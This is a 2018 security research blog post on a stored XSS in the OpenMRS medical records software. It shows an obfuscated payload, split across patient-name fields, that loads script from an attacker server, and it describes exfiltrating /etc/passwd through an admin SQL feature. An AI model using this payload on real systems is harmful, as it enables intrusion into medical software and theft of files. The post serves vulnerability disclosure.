From XSS to Local File Read Bypassing Payload Length Restrictions
28 Oct 2018In this post, we will discuss a stored XSS vulnerability found in one of the popular opensource medical records management software OpenMRS 2.7.0. The security research conducted for this software revealed many critical vulnerabilities ranging from Authenticated Remote Code Execution via Java Deserialization to Privilege Escalation and had been reported to vendor around 9 months back.
We will have a look at how a user with clerk
privileges can leverage Jquery to overcome length restrictions in a Stored XSS payload and can read local system files by exploiting one of the application features.
Load .js with getScript()
In this case, the exploit vector was any patient’s fullname
but each field had a charset limitation of around 50 characters and as our payload was gettting placed inside html
context so it was impossible to weaponize our exploit to exfiltrate any information and I am really not a fan of showing popups because in real world if someone is going to leverage a client side exploit they certainly won’t show any popups ;P.
So for the sake of creating a nice POC, I setlled with the following payload where we are using JQuery’s getScript()
function to load an external JavaScript from attacker’s server.
foo</script><script>$.getScript(String.fromCharCode(104,116,116,112,58,47,47,120,115,115,47,116,46,106,115),1)</script>bar
We divided the payload across name fields of patient’s name, overcomming the payload length restrictions.
givenName = foo</script><script>$.getScript(
middleName = String.fromCharCode(104,116,116,112,58,47,47,120,
familyName = 115,115,47,116,46,106,115),1)</script>bar
The reason of having foo
and bar
in our payload was to pose a legitimate Patient name and hide our payload from Patient search results.
Reading Local System Files
Now comes the interesting part, the application provides a feature name CohortBuilder
which allows Admin
users to execute asynchronous
SQL queries and fetch results by triggering getLastResult.dwr
http request. After understanding this workflow, we wrote the following javascript exploit and hosted it on our server.
Now, when an Admin
user clicks on the search result and then Edit
the patient details as shown, the application executes our payload and send the hex encoded contents of /etc/passwd
file to our server.